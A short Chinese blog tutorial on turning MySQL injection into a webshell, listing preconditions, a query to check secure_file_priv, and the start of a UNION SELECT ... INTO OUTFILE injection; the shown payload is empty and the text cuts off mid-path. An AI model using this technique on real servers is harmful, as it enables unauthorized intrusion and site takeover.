您的位置:首页 > 运维架构 > Shell

mysql注入getshell

2021-05-22 21:51 1261 查看

0x00 利用条件

  • root权限
  • secure_file_priv=为空或者在网站根目录下(网站根目录为d:\www,secure_file_priv=d:\也可以)
  • 知道绝对路径
  • gpc关闭,这个应该是php的,会转义单引号,选择路径的时候一定需要单引号

0x01 查看secure_file_priv设置

show global variables like '%secure_file_priv%';
查询结果

  • 5.7.26为null,5.5.29为空
    这里为NULL

0x02 联合注入写shell

select * from users where id=-1 union select 1,2,'' into outfile 'D

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: